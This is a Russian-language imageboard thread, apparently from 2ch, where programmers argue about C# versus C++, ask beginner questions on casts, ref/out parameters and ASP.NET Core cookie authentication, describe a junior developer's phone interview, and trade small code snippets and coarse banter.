Ну создал ты массив ссылочных типов, не известно когда ты им воспользуешься и может он тебе вообще не понадобится, поэтому смысла нет срать ими в память, вызывая базовый конструктор каждого. При этом у класса может и не быть конструктора без параметров, как тогда быть? Если тебе нужна инициализация базового конструктора, то для этого есть тип Struct, а не Class.
457 1742953
>>742918
Лол, C# выполнил как раз то, что ты ему сказал. "Создай мне один объект и заполни им массив" - "Есть шеф" - сказал компилятор C# и сделал ровно то, что ты у него попросил.

Кресты на такой же запрос тебе сказали "А может ты имел ввиду создай один объект и вызови еще сверху 10 конструкторов копирования? Ну наверное да, я пожалуй, лучше это выполню". Спасибо, нен надо.

И реализации классов как в крестах не надо. А то еще завезёте наследование ромбиком. А потомки будут вас за это чёрным словом вспоминать.
изображение.png9 Кб, 497x237
458 1742963
>>742953
В крестах "Создай мне один объект и заполни им массив" командуется так. Ты можешь видеть, что адрес в таком массиве на один и тот же объект.
изображение.png16 Кб, 509x326
459 1742967
>>742953
Извинтиляюсь, немного неправильно написал. Вот правильно.
460 1742969
>>742963
>>742967
Спасибо, я улыбнулся. Когда мне снова захочется ебаться со ссылками, указателями и rvalue референсами, ебошить placement new и заниматься всеми этими стрельбами себе в ногу - я выберу путь с++.

А пока мне хочется программы писать, а не с памятью сношаться.
461 1742970
>>742969
Кхе кхе умные указатели кхе кхе векторы кхве кхве кхве
462 1742974
>>742970

>auto shared = std::make_shared<SomeClass>();


спасибо, не надо.
463 1743069
>>742918
На самом деле верчение ссылок удобно. Главное, не выстрелить себе в ногу, но в большинстве случаев потекшую подливку по штанине заметно сразу при первом тесте. Как сделать иначе я не представляю
Сперва непонятно, конечно
464 1743077
Месяц не был в шарпотреде, сейчас зашёл, а у вас тут плюсоёб с разорванной сракой бегает. Хуясе. Но картина забавная, да.
465 1743090
сап,
Как сделать опциональный параметр в методе? Т.е если при вызове он передается, то используем то что передается. Если нет, то дефолтный. Например:
public static string myFunc( int num, optionalParam = new MyClass.Options(){Name = "X100", Feature = "Extended"}){ ... }
Тут опциональный параметр optionalParam и дефолтные параметры это имя X100 и Feature = Extended.
466 1743096
>>743077
я бы и сам с # на кресты перешел, там и то работы больше
467 1743100
>>743096
Поаккуратнее, молодой человек, а то так и до жабы опуститься можно.
468 1743101
>>743090
Опциональные параметры должны быть constant expression. Т.е. написать new Yoba() не получится.
469 1743111
>>743100
Жаба 14, в принципе, не такое говно как раньше. Пиздят фичи C#, всё правильно делают.
470 1743130
>>743101
Я пока сделал перезагрузку метода, то есть теперь 2 одинаковых метода, только в одном на один параметр больше. Скорей всего, это кривое решение.
471 1743132
Господа, поясните за таблицу виртуальных типов. Она в манифесте при компиляции в IL создается? И для чего она вообще нужна? Можно ссылку на сорс, если влень писать. Спасибо
472 1743135
>>743130
Нормальное решение. Только код не дублируй.
473 1743138
>>743132

>таблицу виртуальных типов


Методов, может?
474 1743142
>>743138
да, точно. Таблица виртуальных методов
475 1743149
>>743142
Нужна для реализации наследования. В 99% случаев тебе про них ничего знать не нужно. https://en.m.wikipedia.org/wiki/Virtual_method_table
476 1743172
>>743149
меня всегда интересовали кишки. Вот ответ на SOF, который дал мне общую картину об этой технологии
https://ru.stackoverflow.com/questions/1075088/Как-работают-виртуальные-функции-в-c
477 1743205
>>743130
Нормальное, если ты в методе, который имеет меньшее число параметров, вызываешь метод с большим числом параметров, передавая в них нужные объекты в качестве параметров по умолчанию.
Например в твоём случае метод с меньшим количеством параметров будет выглядеть примерно так:
public static string myFunc( int num,)
{
optionalParam = new MyClass.Options(){Name = "X100", Feature = "Extended"};
myFunc(num, optionalParam);
}
478 1743206
>>743132
Рихтера почитай, если интересно. Но на деле эта информация тебе особо не пригодится. Я вот прочитал, но всё что сейчас помню, это то, что при вызове виртуального метода, проводится проверка типа объекта, а при вызове обычного, проверка типа не нужна. Ну и то что указатель на тип объекта есть только у ссылочных типов, т. е. в случае когда нужна проверка типа, значимый тип должен приводиться к ссылочному, т. е. происходит боксинг.
479 1743212
>>743206
да я знаю, что это вода, но завтра собес и пытаюсь вспомнить все неприятные вопросы - типо замыканий в foreach, иерархий типов, состава SDK
480 1743215
>>743212
Ни пуха тебе на собесе, аноний.
481 1743218
>>743215
спасибо. Я хз, что за собес может быть по телефону. Хотя бы конфу с демонстрацией бы. Судя по всему на джуна делают первый уровень на дебила, за которой последует второй уровень - уже со встречей
482 1743516
Сап. Потихоньку вкатываюсь в сишарп. Анон, сколько примерно нужно его изучать чтоб кодить простенькие игры на юнити?
483 1743517
>>743516
Неделю. Без шуток.
484 1743518
>>743517
Прочитать одну книгу будет достаточно?
485 1743529
>>743518
Я может крамольную вещь скажу, но для новичка книги для самого начала это слишком круто. Начни с курсов с рутрекера или видосов с ютуба, где шаг за шагом простейшие вещи объясняют. Запускай студию и повторяй. Когда освоишься в простейшем, тогда уже берись за книгу, но только не из числа крутых. Вон обложка книжки Троелсена висит. Самое лучшее чтиво для начала, когда уже делал что-то осмысленное в студии. Глава за главой будешь про знакомые вещи читать и с новой стороны про них узнавать.
486 1743542
>>743529
Благодарю за наставление, анон. Я наоборот думал, что книгу полезнее будет освоить, чем видосы смотреть, однако от нее много нагрузки на мозг поступило.
487 1743588
>>743142
Конрад Кокоза — Pro .NET Memory Management, глава 4. Дальше сам.
488 1743681
>>743205
Спасибо!
489 1743713
>>724425 (OP)
Люблю систематизировать и каталогизировать разное дерьмо, хочу парсить различные интернет параши по запросам и сливать дату оттуда, выявлять закономерности. Может запилить потом на своем сайте свою базу данных на основе этой даты.

Опыт программирования - ноль. Насколько подходит сишарп для таких задач, или мне в другой тренд?
490 1743717
>>743713
Ах да, троечник в математике, но с логикой все ок.
491 1743724
>>743713
Лучше JS подойдет, так как для парсинга тебе всё равно ено знать нужно будет. А остальное компенсируешь многочисленными фреймворками на любой случай жизни. Шарп это тяжелая артиллерия, в данном случае его применение будет избыточным.
492 1743737
>>743724
А в анализе изображений какой язык может помочь? Возьмем скажем абстрактный пример - есть 100 фотографий, нужно проанализировать их и скачать данные по фотографиям где человек пострижен коротко. Если не касаться нейронок конечно.
493 1743765
>>743737
Тоже JS, будешь работать с API систем распознавания изображений, которых сейчас воз и маленькая тележка.
494 1743942
Когда собес по # проводит фронтендер, который вопросы и ответы читает с листа, но расспрашивает по JS - это знак свыше или текущая ситуация # на рынке?
495 1743952
>>743942
Джаваскрипт с сишарпом парой идет, все нормально.
496 1743971
Если я только вкатываюсь, то обязательно ли Visual Studio ставить с его нагромождениями или сойдет и Visual Studio Code?
497 1743973
>>743971
пойдет обычный txt файл. Если по хардкору, то в CMD. Билдить тоже через CMD - dotnet build/run/publish
498 1743995
>>743971
пойдет. всё равно в начале будешь с консолью работать.
499 1744099
>>743971
На фреймворке билдит гораздо быстрее, чем на core, поэтому я бы ставил студию и не выёбывался. Писать в емакс и билдить через командную строку вообще аутизм от мозолеедов, вообще не шарп вей игнорировать статический анализ кода.
500 1744233
>>743942
Ты тот анон, который на собес настраивался? Как прошло? Что спрашивали? Взяли или перезвонят?
501 1744360
>>744099

>мозолеед


>билдить через командную строку вообще аутизм от мозолеедов, вообще не шарп вей игнорировать статический анализ кода


Ебнутая вниманиеблять. Бегает по всему двачу и пишет тупую хуйню. Если что, компиляция из консоли или из студии ничем не отличается. Если бы ты знал предмет лучше, и не был таким ебанутым, то знал бы, что в обоих случаях вызывается компилятор csc, и выдает он абсолютно одинаковую инфу, что в студию что в консоль.
502 1744554
>>744360
Ой, иди-ка ты нахуй со своим "если что". Сам не разобрался нихуя, а уже лезет ко взрослым.
1) dotnet run работает только с .net core. У core версии, при всей моей любви к ней, есть много недостатков в сравнении с фреймворком, в частности сборка идёт ощутимо дольше. Под фреймворки до сих пор разрабатывать комфортнее
2) Несмотря на то, что результат компиляции будет одинаковым, студия позволит использовать статический анализатор кода. Статический анализатор работает не через csc, а через API Roslyn'а, если что
Если бы ты знал предмет лучше, а ещё лучше думал, прежде чем писать, то ты бы так не опозорился.
503 1744602
>>744554
Ты даже наверное не в курсе, что анализаторы можно воткнуть почти в любой редактор кода. С помощью omnisharp https://github.com/OmniSharp/omnisharp-roslyn или как nuget пакет. Кроме встроенных в VS анализаторов есть и другие https://docs.microsoft.com/ru-ru/visualstudio/code-quality/roslyn-analyzers-overview?view=vs-2019

У меня Линукс и установлен VSCode. Она дает все тоже самое что и VS на Windows. Только работает быстрее раза в 3. Не весит 10-30Гб как виндовая VS. И платить за нее не надо. Для C# есть всевозможные расширения. Кроме C# поддерживает кучу языков.
504 1744635
>>744602

>У меня Линукс


Я заметил по запаху мозолей изо рта, мог бы и не уточнять
505 1744689
>>744635

>ко-ко-ко

506 1744690
>>744602
Ловите вкатывальщика!
507 1744696
>>744233
Прошло - имо не очень. Интервьер опоздал на 2 часа, пришлось звонить HR/HH напоминать (она еще была не в сети 1.5 часа). Спрашивал много - #, LINQ, Collections, Reflection, ORM, SQL, JS, алгоритм даже один успел спросить. Затронули метаданные и кишочки, к которым я так упорно готовился, но 90% вопросов были из дефолтных вопросов к собесу.
По # нормально ответил, помню, что не ответил - AS при неудачном апкасте выдает null, а IS - false. Перепутал инициализацию out/ref (сказал наоборот, что в out должна быть инициализация, а не в ref). Не сказал, что dictionary работает быстрее list-a (тоже дефолтный вопрос). Не сказал, что лямбда это анонимный метод (КАРЛ). Перепутал select и where, хотя как мне показалось, это скорее интервьер прошляпил - спросил про выборку, а не про фильтрацию - я ответил Select, он сказал Where.
По SQL не ответил про foreign key. По ORM норм (хорошая практика с ними)
По WEB - полный пиздец. Я хоть до этого и ковырял палкой React на пете, но все по средствам google, SOF. Поэтому на какие то банальные вещи типо - задать стиль всем селекторам, я думал через .div, оказалось просто div. Найти элемент в DOM через JS - тоже не ответил, хотя вопрос был плевый.
Я ебашил пет, чтобы привести его до ума, к собесу толком не готовился (3-4 часа), по факту получилось, как получилось. И я готовился на вопросы "поинтересней" по Рихтеру, а задали по Quiz.
Ответы давал развернутые, но судя по реакции и обратной связи - мне показалось, что интервьер ждал только шаблонный ответ на поставленный вопрос. К примеру с рефлекшен я зашел издалека и начал расказывать как работают атрибуты, как они в метаданный флагаются. Он ждал плоский ответ по рефлекшн - "Технология по обращению к метаданным".
А ну да, по ASP.NET еще были вопросы - не ответил на атрибут Action.
Вроде все.
508 1744704
>>744696

> что не ответил - AS при неудачном апкасте выдает null, а IS - false. Перепутал инициализацию out/ref


Странно, что после такого обсера тебя не проводили ласковым "мы вам перезвоним". Надеюсь ты себя не тешишь надеждами на оффер и уже приступил к поиску другой вакансии.
509 1744708
>>744704
ты хочешь сказать, что апкасты в 2к20 с дженериками так часто делают? Или создают методы с ref/out?
510 1744713
>>744696
А сколько сам собес проходил и что по итогу сказали?
Такой объём на всех собесах? Ты на мидла устраивался? Или это должен каждый ссаный джун знать?
511 1744718
>>744708
И то и то часто используется. Если касты еще как-то можно оправдать, то ref/out используются часто. Ладно обосрался с as и is, но как можно было насрать себе в штаны c ref/out? Ты никогда не использовал int.TryParse(string s, out int result)?
512 1744720
>>744713
собес по телефону, где то пол часа в быстром темпе (чтобы не гуглил и не искал в заметках). По итогу - ничего, парень спросил есть ли вопросы по тестовому заданию - я сказал нету, т.к. вопросы у меня по проекту, стэку и организации команды.
Насчет всех, не всех - дело ситуативное, кто то начнет в залупу лезть с реализацией какого то механизма - например разложить IEnumerable до песчинок, кто то всколзь поспрашивает смотря в потолок. Как я писал выше - интервьюер представился frontend разработчиком, судя по всему фул стэк, не понятно только из # или из JS. Вакансия - джуна.
513 1744731
>>744718

>int.TryParse(string s, out int result)


да вот как то даже и не юзал, хотя без него - никуда. Остальные Parse и Convert дают exception, если при переборе будут не Number, а этот метод дает 0.
По as и is приведи пример, где это используется, чтобы в голове отложилось.
514 1744758
>>744731
as и is я запомнил потому что c is можно составить вопрос object type x is of object type y? на которой можно ответить yes/no, т. е. вернуть true/false, а as более утвердительный, т. е. ты явно говоришь, что объект типа x, хочешь привести к типу y, не ожидая сразу результат в виде конечного объекта, либо null в случае если приведение невозможно
cd.png9 Кб, 326x326
515 1744760
>>744731

>Остальные Parse и Convert дают exception


Так ты не путай TryParse и Parse - первые исключений кидать не должны, иначе какой в них смысл?>>744731

>as и is


ХЗ почему ты говоришь про апкаст, они обычно использубтся при даункасте, тот же паттерн матчинг это сахар для as/is.
example.png71 Кб, 590x776
516 1744763
>>744731
Немного вырожденный пример, но все же.
517 1744781
>>744763
Двач, за знак "=>" и что он обозначает.

Мимо проходил
518 1744782
>>744758
хорошая памятка насчет IS, но по логике приведение должно давать InvalidCastException, а не null. Так или иначе, запомнил, спасибо.
>>744760
какой то странный пример. 1 - метод Dump это фича какого то редактора, забыл название, которая в контекст (на консоль) передает значение без использования console. 2. Что ErrorMsg, что InfoMsg являются наследниками Msg - поэтому что то, что то даунастится, но без is/as. Я так понимаю эти два ключевых слова используются исключительно в контексте приведения, т.е. должны задаваться явно, а у тебя в примере - не явно. Если не так - поправь
>>744763
хороший пример, но имо нынче время дженериков и по идеи должны строго типизировать тип, чтобы не делать проверку приведения. GetNumber<T> Where T : I - типо такого.
Спасибо, что отписали
519 1744785
>>744781
лямбда
520 1744795
Пока разбирался с AS/IS, REF/OUT - пришел еще один инвайт на тест (если будет успешный, то собес) с другой галеры. Так что позже отпишу еще, на чем обосрусь.
Посмотрев на пример >>744760 вспомнил, что switch-case, а там более goto вообще не юзаю и даже забыл синтаксис. Что скажете, какова популярность этих конструкций?
521 1744796
>>744782

> Dump


LinqPad
>>744782

>Что ErrorMsg, что InfoMsg являются наследниками Msg - поэтому что то, что то даунастится, но без is/as


Ты не перепутал даункаст с апкастом опять? Тебе прилетает из вне Msg, но ты в зависимости от конкретного типа хочешь их обрабатывать по-разному, поэтому даункастишь до более конкретного типа.

>в контексте приведения, т.е. должны задаваться явно, а у тебя в примере - не явно


is - тупо проверить, as - проверить и если оно, то привесли, если нет - налл. Паттерн матчинг это сахар, который компилятор разворачивает в as/is. Раньше писали через as/is, теперь в большенстве случаев можно написать красивше. Еше так можно
if(obj is string str) - по факту вызовется as и проверка на налл.

>GetNumber<T>


Ну так проверка и приведение будет в GetNumber. Ты не всегда можешь знать какой тип тебе прилетит, например, от удаленного клиента.
522 1744800
>>744795
Довольно популярно, свичу в последних версиях шарпа добавили довольно много фишек.
523 1744801
>>744796

>Ты не всегда можешь знать какой тип тебе прилетит


Хороший аргумент. Так что да, я изменил свое мнение насчет приведений.

>Паттерн матчинг


в обед погуглю, никогда не встречал. Знаю по GOF ~9-10 и то на практике никогда не применял. Да по ним и не спрашивали.

>Ты не перепутал даункаст с апкастом опять?


В твоем примере как раз даункаст идет - проверка от родителя к предку. Только они оба наследники Msg и конструкция case это проверяет. Т.е. если залетит какой то тип без наследования, то case банально не найдет его и пропустит. Пока писал нашел логическое объяснение твоему примеру. Спасибо.

>LinqPad


зачем он нужен, когда есть VS? На крайняк VS Code
524 1744807
>>744696

> Затронули метаданные и кишочки


> AS IS


> out/ref


> dictionary


> лямбда


> LINQ select и where


Что ты подразумеваешь под кишочками?

> По ORM норм (хорошая практика с ними)


Например? Интересно, что тебя спрашивали

Я год работаю, но ничего сложного в твоих вопросах не увидел, кроме ебли с джаваскриптом, но его я и не изучал, так, в экстренных случаях правки вносил
525 1744814
>>744758
А еще as гораздо медленнее is, насколько помню. Надо построить все дерево наследования
годовалый работяга
526 1744822
>>744807

>Что ты подразумеваешь под кишочками?


Вот так читай

>Затронули метаданные и кишочки, к которым я так упорно готовился, но 90% вопросов были из дефолтных вопросов к собесу.


только 10% (даже меньше) затрагивали принципы работы, а не их задачи.
По ORM - отличие EF от ADO.NET, какие еще есть ORM. Какую функцию выполняют. Db first-Code first. Какой то вопрос был про Lazy loading, но не могу вспомнить в каком контексте. Вспомнил - IQuerable - отличие от IEnumerable.

>Я год работаю


я работаю финансистом, все мои знания - это самоучение и пет проекты. Я бы давно пошел интерном за $300, если бы мне не было под сраку лет
527 1744831
>>744781
Равно или больше.
528 1744841
>>744801

>Знаю по GOF ~9-10 и то на практике никогда не применял


А? При чем тут гофовские паттерны. Паттерн это шаблон, паттерн матчинг - сопоставление с шаблоном.

>В твоем примере как раз даункаст идет


Да, Msg даункастится к ErrorMsg, но ты ж писал

>поэтому что то, что то даунастится, но без is/as


но ведь
Msg m = ...;
ErrorMsg e = m;// без явного приведения фэйл
а вот апкаст сработает без явного приведения.

>зачем он нужен


Прост. Маленькое удобное приложение длятестирования небольших кусков кода. Особенно крут этот всеядный Dump().
529 1744865
>>744841
хм, думал marching - это название, а это сопоставление.

>ErrorMsg e = m;// без явного приведения фэйл


теперь точно разобрался, спасибо
530 1744916
>>744822
Спасибо за ответ, не знал, что могут спросить по ADO.NET, я думал, это уже свое отжило
Lazy Loading имеет отношение только к IQueryable, потому что IEnumerable обычно означает, что коллекция уже у тебя на компе, только под капотом не какой-нибудь хитрый yield
На какую зп идешь, ну так, примерно? У меня ~50к в сумме со всеми премиями
531 1744920
>>744916
ADO.NET - легаси, но сложного впринципе ничего в нем нет имо. Обычный SQL запрос к базе через конструкцию Using с Dispose.

да и вспомнил еще на чем спотыкнулся - где выполнение идет сразу, а где отложенно - в IEnumerable сразу (как ты написал, она же на клиенте, а не на сервере)
ЗП - я HH/HR назвал цифру - $400-500. Из за того, что свитчер - прийдется потерять 25% своей текущей ЗП (750-800 сейчас)
532 1744955
>>744916

>я думал, это уже свое отжило


Все эти ваши ORM - EF, linq2sql, dapper обертки над ADO.Net разной толщины.
533 1744973
Как ASP.NET Core шифрует куки? Вот добавил я Claim'ов юзеру, он же не может их получить из кукисов у себя? А как серв их расшифровывает?
534 1744997
>>744973
всмысле шифрует куки? Это уже твое дело - сохранять данные в куках клиента или нет. Я прятал в куках auth jwt token - проверка по header с полем Jwt beaver
535 1745028
>>744997

>всмысле шифрует куки?


Ну вот подключил я аутентификацию
services.AddAuthentication(CookieAuthenticationDefaults.AuthenticationScheme).AddCookie();
Потом добавил несколько Claim'ов и вызвал HttpContext.SignIn() с этими клаимами. Юзеру прилетают кука с длинной base64(или нет) строкой, там, как я понимаю и зашифрованы все его клаимы. Вот отсюда и вопросы: может ли юзер расшифровать и отредактировать свои права при такой аутентификации и как их распозноет сервер, я ведь не сохраняю ничего на сервере, а серв как-то расшифровывает после перезапуска - значит никакого секретного ключа нет.
536 1745049
>>745028
ты передаешь зашифрованный ключ, в котором есть секции claims, useremail, флаги, все что запихнешь вообщем. Юзер этот кук использует при обращении к контроллеру, где должен быть атрибут [Authentificate] (или как то так). Т.е. при каждом обращении из кукисов в хедере идет хендшейк между твоим контроллером из бэка и клиентом
537 1745058
>>744916

> только если под капотом не какой-нибудь хитрый yield


фикс
>>744920
Сложного-то нет, просто видел использование адонета только в учебнике Троелсена, на работе все через ef или SqlRaw
538 1745059
>>745058
Блядь, да что же я косноязычный такой сегодня. "Или" лишнее
539 1745061
>>745058
я из собеса, который проходил на практике видел только 10% информации, остальное только на страницах учебника или на веб. ресурсах
540 1745062
>>745049

>ты передаешь зашифрованный ключ


Вот это мне и не понятно. У серва же нет никакой доп инфы кроме переданной через куки. Так если серв может расшивровать, значит и клиент может, нет?

я только начинаю курить асп не бейте ключом шифрования по голове
541 1745072
>>745049
>>745062
Поскреб по сусекам и вроде как ключ привязывается к машине на которой запущен серв. И если я запущу серв на другой машине он не распознает куки. Верно?
542 1745129
>>745072
>>745062
почитай по аутентификации в Asp.net - в ключ шифровка идет поля с secret, который выдает сервер и принимает с таким же ключем атрибутами аутентификации
543 1745159
>>745129

> в ключ шифровка идет поля с secret, который выдает сервер и принимает с таким же ключем атрибутами аутентификации


Ты мне мозг сломал несогласованностью падежей и яннп. Есть что нибудь конкретное почитать?
544 1745178
>>745159

>Ты мне мозг сломал


кто сказал, что будет легко? Я делал на своем пете аутентификацию по буржуйским туториалам. Типо такого:
https://medium.com/@vaibhavrb999/jwt-authentication-authorization-in-net-core-3-1-e762a7abe00a
545 1745181
>>745159
дополнение к >>745178
сразу гугли, как должны компоненты добавляться в startup.cs. К примеру, если ты добавишь аутентификацию, авторизацию раньше создания контроллеров, то ничего не получишь. И вижла на это ругаться не будет
546 1745187
>>745178
По туторам и я сделал, теперь бы понять как это работает внутри. Да и вопрос-то не про JWT.
547 1745202
>>745187
что конкретно внутри? То что при атрибуте контроллер энкриптит зашифрованный ключ и сверяет клеймсы, сикрет и инфу о юзере? MSDN в помощь, правда там будет все обо всем, ибо это вопрос секьюрити. Если ты делал создание юзеров через UserManager, то ты даже в своей же ДБ не увидишь пасса - он зашифрован к хеш
548 1745327
Смотрите. Длать на паре было нечего. От нефиг делать на память запили клеточный автомат(АКА игра жизнь). Вот. Ну, и чтобы как-то не писать ручками стартовое поле, решил использовать битмап, типа белый - пусто, черный - клеточка. Вооооот. Ну и схороняю каждое поколения в отдельный bmp файлик.
Так вот, при разрешении мапы 800x800 это говно оч медленно работает. Неприлично медленно. При этом если отрубить запись то работает приемлемо, примерно 100 поколений за 2 секунды.
Ну, и мне интересно, можно ли как-то оптимизировать этот момент с записью в файлик?
549 1745374
>>745327
Записываешь в файл после каждого изменения клетки или же пишешь состояние всей системы в определенный момент времени туда?
550 1745383
>>745374
После обновления мира.
Типа основной цикл выглядит так:

int gen = 0;//поколение
while(!GameOver)
{
world = UpdatePlaneWorld(world, rulesHandler);
SaveToBMP(world, saveFolder, gen);
gen++;
}
551 1745614
>>745327

> 800x800


>>745383

> SaveToBMP


Показывай код SaveToBMP. Вангую, что ты в цикле по всему битмапу проходишь SetPixel, а это медленно и печально шопиздец.
552 1745627
>>745202

>что конкретно внутри?


Ну я уже не знаю как еще объяснить. Но попробую еще раз.

>делал создание юзеров через UserManager


нет

>в своей же ДБ


нет пока никакой бд и никаких паролей.

> пасса - он зашифрован к хеш


давай чтобы не было путаницы: шифрование это когда можно получить обратно данные, а хэширование - получение некого отпечатка данных.

Итак все что есть это подключенная аутентификаци через куки
services.AddAuthentication(...).AddCookie() и клайм засунутый в Principal, который в свою очередь засунут HttpContext.SignIn() Никакой авторизации, никаких логинов/паролей и бд. Теперь эти клаимсы асп засовывает в куки. И вот вопрос данные в куках зашиврованы c помощью какого-то ключа (если да, то откуда берется этот ключ, он же нигде не сохраняется, но при перезапуске способен распознавать данные из кук) или просто закодированы чем-то вроде Base64? Пока у меня такое представление:

>ключ привязывается к машине на которой запущен серв. И если я запущу серв на другой машине он не распознает куки. Верно?

553 1745647
>>744916

> У меня ~50к в сумме со всеми премиями


>>744920

> я HH/HR назвал цифру - $400-50


> текущей ЗП (750-800 сейчас)


Блин, чуваки, скажите, плиз, что вы джуны? Ну нельзя же столько получать будучи норм шарпистом, даже в провинции.
554 1745652
>>745647
я писал выше, что собеседовался на джуна. Сейчас я с 750 не в ойти
555 1745655
>>745652
Чем сейчас занимаешься, если не секрет?
556 1745664
>>745655
финансы, аналитика
557 1745678
>>744696
в субботу еще одно интервью, только заказчик пожирней - аутсорсинг. И будет оно скорее всего на ангельском. После отпишу вопросы, которые задает забугорный заказчик.

Еще не придумал, как буду отбрехиваться - в требованиях 2 года ком. опыта в ойти, а я только петы писал
558 1745679
>>745647

> Блин, чуваки, скажите, плиз, что вы джуны? Ну нельзя же столько получать будучи норм шарпистом, даже в провинции.


А сколько можно? Я джун с годовалым опытом в провинции
559 1745694
>>745664
А чего уходишь? Не твое или мало платят?
560 1745733
>>745694
причин много на самом деле, если в кратции:
1. Работа не гибкая, знания не универсальные - уволюсь, прийду на новое место, начну опять с $300-400
2. Роста нет от слова совсем. Я уже уперся в потолок, дальше только менеджмент
3. Трактор не заведешь - бизнес по СНГ-шному и бугор - это разные миры
Да и программирование, как хобби уже лет 5 точно, накатило просто и решил, что пора свитчиться
561 1745823
>>745733
Норм мотивация. Удачи!
image.png67 Кб, 660x248
562 1746114
Убедите меня вкатиться в ваши ряды, вместо, скажем, котлина (джава мир).
Вакансии насрать, нужен убедительный вдохновляющий ЯП.
563 1746235
>>746114

>Убедите меня


Дохуя хочешь. Учи котлин.
564 1746275
>>746114
Котлин это очередной высер хипстеров-хайпожеров от жидбрейнсов. Один их решарпер, который требует ресурсов больше чем сама студия, чего только стоит. Похайпует твой котлин, а потом разрабы забьют на него и он сдохнет.
565 1746331
Увидел в коде сеньера код следующего содержания:

public string Log {get;set;} = ""

public void AddLog(string log)
{
Log+=$"{DateTime.Now}: {log}\n";
}

Этот "лог", нигде не чистится, класс, в котором он живет - синглтон. Метод AddLog вызывается каждый раз когда вызывается какой-нибудь метод внутри класса. Как уже было сказано, класс - синглтон, само приложение - сервер, т.е. жить должно долго.
Так вот, может я чего-то про строки не знаю? Просто со стороны выглядит как хуйня, которая когда-нибудь всю память сожрет. Я джун, потому не кидайтесь тапками, если я какую-то хуйню спросил.
566 1746342
>>746331
Ты прав, код — хуйня, но память не сожрет, т.к. GC будет собирать созданные ранее строки.
567 1746346
>>746331
Или сожрет, если лог будет дохуя большой и не очищается. Код все равно хуйня.
568 1746354
>>746331
Конечно хуйня. Нужно сделать примерно так:

private const int LogLengthBeforeSave = 10000;
private Path LogFilePath {get;} = "Logs.txt";
private StringBuilder Log {get;} = new StringBuilder(LogLengthBeforeSave);

public void AddLog(string log)
{
lock(Log)
{
Log.AppendLine($"{DateTime.Now}: {log}");
if (Log.Length => LogLengthBeforeSave)
{
try
{
File.AppendAllLines(LogFilePath, Log.ToString());
}
catch(Exception e) {
HandleError(e);
return;
}
Log.Clear();
}
}
}

public string GetLogs()
{
string logsFromFile = "";
try
{
logsFromFile = File.ReadAllText(LogFilePath);
}
catch (Exception e)
{
HandleError(e);
}
return logsFromFile.ToString() + Logs.ToString();
}

В том виде который ты описал, каждое добавление к логу будет создавать в памяти копию предыдущего значения. При этом если записывать лог из разных потоков одновременно, то часть логов вообще проебется.
568 1746354
>>746331
Конечно хуйня. Нужно сделать примерно так:

private const int LogLengthBeforeSave = 10000;
private Path LogFilePath {get;} = "Logs.txt";
private StringBuilder Log {get;} = new StringBuilder(LogLengthBeforeSave);

public void AddLog(string log)
{
lock(Log)
{
Log.AppendLine($"{DateTime.Now}: {log}");
if (Log.Length => LogLengthBeforeSave)
{
try
{
File.AppendAllLines(LogFilePath, Log.ToString());
}
catch(Exception e) {
HandleError(e);
return;
}
Log.Clear();
}
}
}

public string GetLogs()
{
string logsFromFile = "";
try
{
logsFromFile = File.ReadAllText(LogFilePath);
}
catch (Exception e)
{
HandleError(e);
}
return logsFromFile.ToString() + Logs.ToString();
}

В том виде который ты описал, каждое добавление к логу будет создавать в памяти копию предыдущего значения. При этом если записывать лог из разных потоков одновременно, то часть логов вообще проебется.
569 1746356
>>746235
Спасибо
570 1746367
>>746114
У шарпа синтаксис прикольный. Вот.
571 1746421
>>746114
Учи котлин
572 1746463
>>746367
У котлин молодежнее
573 1746609
>>746354
а разве кто-то пишет самостоятельно логи? Есть же богоподобный NLog
574 1746613
>>746609
Логер размером больше чем 99% программ в которых нужен логер? Попахивает физзбаззом энтерпрайз эдишн. У меня есть два своих класса, один логирует всё сначала в память, потом в файл. Другой выводит информацию в UI, который может быть как консолью, так и любым другим графическим интерфейсом, который принимает текстовые данные и выводит их на дисплей. Оба занимают около 100 строк кода, не вижу смысла ставить что-то тяжелее, еще и смотреть в дебри документации этого монстра.
575 1746617
>>746613
А своего веб-сервера у тебя нет? Тоже ведь 100+ строк кода.
576 1746647
>>746617
Сочувствую тебе, если ты не троллишь и у тебя веб-сервер по количеству и важности задач стоит на уровне с логером.
577 1746682
>>746613
1) насчет размера - согласен. просто у меня дикий мастодонт на юнити и там это не особо то и важно
2) реализация логгера вручную - нууу, хз. думаю там, что если можно использовать что-то готовое и проверенное, то НУЖНО использовать что-то готовое и проверенное. Самому оформлять уровни, верстки и тд не особо хочется. Тем не менее согласен, что в небольших проектах, где логирование просто ради удобства разрабов, можно и ручную хуйню прописать
578 1746831
Месяц проебал на верстку и всратый js. Сегодня вкатываюсь к вам. Вапроси?
579 1746994
>>746831
Вот и выросло поколение, которое не может осилить фронтенд.
580 1747029
>>746994

>Вот и выросло поколение, которое не хочет поесть говна.

581 1747046
>>747029
Двачую. И добавить нечего.
582 1747048
>>747029
При этом кушает шарп.
583 1747050
>>747048
На языке ассемблера должен хурить, как деды.
584 1747056
>>746831
Так у нас без знаний верстки и js делать нечего. По крайней мере без js уж точно.
585 1747061
>>746831
Там, тебе, барану, сделали ts же.
586 1747066
>>747061

>fix


барину
587 1747160
>>747066
Без фикса лучше.
588 1747179
>>747160
Тоже об этом подумал.
589 1747493
Читаю про создание собственного механизма боксинга и у меня встал вопрос

class Box<T> where T : struct
{
private T t;
public Box(T t)
{
this.t = t;
}
public static explicit operator T(Box<T> b)
{
return b.t;
}
}
What the hell is this? Explicit operator - это типо перегрузка оператора? А b.t это что такое? Пишу 2 года, первый раз вижу такое
590 1747514
>>747493
Explicit operator это явное приведение типа, есть еще implicit - неявное.

>А b.t это что такое


Возвращение типа к которому ты приводишь, т. е. типа T, а приводить ты должен тип Box<T>
591 1747515
>>747493
b.t это обращение к тому, что объявлено как private T t;
explicit conversion оператор - это оператор, который без явно написанного тобой каста не вызовется.
592 1747516
>>747514
почему тогда не (t)b? Или в данном случае "." - это cast?
593 1747533
>>747516
b.t это обращение к полю t класса Box<T>, у которого и так уже тип T

скопируй этот код в IDE и переименый переменные на нормальные, всё сразу поймешь
594 1747557
>>747516
Ты из функции приведения должен вернуть переменную типа T, она у тебя уже хранится в поле t, вот ты её и возвращаешь.
595 1747562
>>747533
>>747557
Разобрался, спасибо
596 1747674
Всем привет
